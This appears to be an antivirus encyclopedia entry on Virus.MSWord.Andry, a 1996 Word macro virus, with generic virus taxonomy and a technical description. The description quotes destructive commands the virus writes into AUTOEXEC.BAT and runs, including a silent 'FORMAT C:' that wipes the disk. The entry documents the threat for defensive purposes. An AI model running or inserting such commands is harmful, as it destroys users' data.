Virus.MSWord.Andry

Parent class: VirWare

Viruses and worms are malicious programs that self-replicate on computers or via computer networks without the user being aware; each subsequent copy of such malicious programs is also able to self-replicate. Malicious programs which spread via networks or infect remote machines when commanded to do so by the “owner” (e.g. Backdoors) or programs that create multiple copies that are unable to self-replicate are not part of the Viruses and Worms subclass. The main characteristic used to determine whether or not a program is classified as a separate behaviour within the Viruses and Worms subclass is how the program propagates (i.e. how the malicious program spreads copies of itself via local or network resources.) Most known worms are spread as files sent as email attachments, via a link to a web or FTP resource, via a link sent in an ICQ or IRC message, via P2P file sharing networks etc. Some worms spread as network packets; these directly penetrate the computer memory, and the worm code is then activated. Worms use the following techniques to penetrate remote computers and launch copies of themselves: social engineering (for example, an email message suggesting the user opens an attached file), exploiting network configuration errors (such as copying to a fully accessible disk), and exploiting loopholes in operating system and application security. Viruses can be divided in accordance with the method used to infect a computer:

• file viruses
• boot sector viruses
• macro viruses
• script viruses

Any program within this subclass can have additional Trojan functions. It should also be noted that many worms use more than one method in order to spread copies via networks.

Class: Virus

Viruses replicate on the resources of the local machine. Unlike worms, viruses do not use network services to propagate or penetrate other computers. A copy of a virus will reach remote computers only if the infected object is, for some reason unrelated to the virus function, activated on another computer. For example: when infecting accessible disks, a virus penetrates a file located on a network resource a virus copies itself to a removable storage device or infects a file on a removable device a user sends an email with an infected attachment.

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Platform: MSWord

Microsoft Word (MS Word) is a popular word processor and part of Microsoft Office. Microsoft Word files have a .doc or .docx extension.

Description

Technical Details

This encrypted virus contains only one macro AutoOpen and infects the global macro area on opening an infected document and writes itself to other documents when they are being opened.

On March 1st it sets to documents the password "Andry Christian", prints the text to status bar:

* I'M ANDRY CHRISTIAN, IF YOU THOUGHT, YOUR DOCUMENTS
OR TEMPLATES WERE SAFE, YOU WERE WRONG ! *

It then displays the dialog:

HACKERS Labs '96 - Hackware Technology Research
ANDRY [CHRISTIAN] WORD MACRO VIRUS IS HERE !!!
DO YOU SUPPORT MY VIRUS ?
YES NO

In case of "NO" key the virus overwrites the C:AUTOEXEC.BAT file with commands:

@ECHO OFF
CLS
ECHO Please wait . . .
FORMAT C: /U /C /S /AUTOTEST > NUL

and the C:CONFIG.SYS file with commands:

DOS=HIGH,UMB
FILES=40
BUFFERS=40
DEVICE=C:DOSHIMEM.SYS
DEVICE=C:DOSEMM386.EXE RAM

On the same date (March 1st) depending on the system time the virus runs the disk formatting command:

COMMAND /C FORMAT C: /U /C /S /AUTOTEST > NUL

Depending on the system time the virus inserts into current document the text:

Hello....
Andry Christian
WordMacro Virus
Is Here....!!!

The virus also contains the comments:

'======================================================================'
'  Source Code of Andry Christian WordMacro Virus 0.99 - �eta Release  '
'======================================================================'
'   Virographer by Andry [Christian] in [Batavia] City, of INDONESIA   '
' Viroright (C) 1996-1999 Hackware Technology Research - HACKERS Labs. '
'  Multi Platform, Multi Infector, Stealth, OneMacro, Encryption, etc  '
'   Last Update by 01-Maret-1996 & 01:03 PM - Found Bugs...? Call Me   '
'======================================================================'
'   HACKERS Labs. -> WE ARE A BIG FAMILY OF THE VIRUS CREATOR's TEAM   '
'======================================================================'

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